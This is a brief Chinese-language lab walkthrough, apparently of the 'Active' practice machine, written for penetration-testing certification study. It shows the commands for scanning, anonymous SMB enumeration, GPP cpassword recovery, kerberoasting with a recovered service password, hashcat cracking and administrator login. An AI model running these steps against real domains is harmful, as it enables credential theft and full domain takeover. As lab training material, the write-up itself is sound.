CPTS---Active 复现

枚举和利用

nmap -sC -sV -T4 -Pn -n -p- 10.10.10.100

nmap -Pn -n 10.10.10.100 -sU --top-ports=100 --reason

与DC核对调整一下时间
rdate -n 10.10.10.100

匿名枚举smb共享

nxc smb 10.10.10.100 -u '' -p '' --spider Replication --regex . --smb-timeout 10000

发现Replication可读，列出全部目录，方便查看共享文件

发现Groups.xml，尝试下载到本地

查看

发现一个cpassword的属性很有兴趣，尝试google，可以使用这个工具

得到密码

尝试kerberoasting攻击

nxc ldap 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --kerberoasting kerberoasting.out

得到管理员hash

hashcat -m 13100 hash rockyou.txt

得到密码。

提权

利用管理员凭证登陆

成功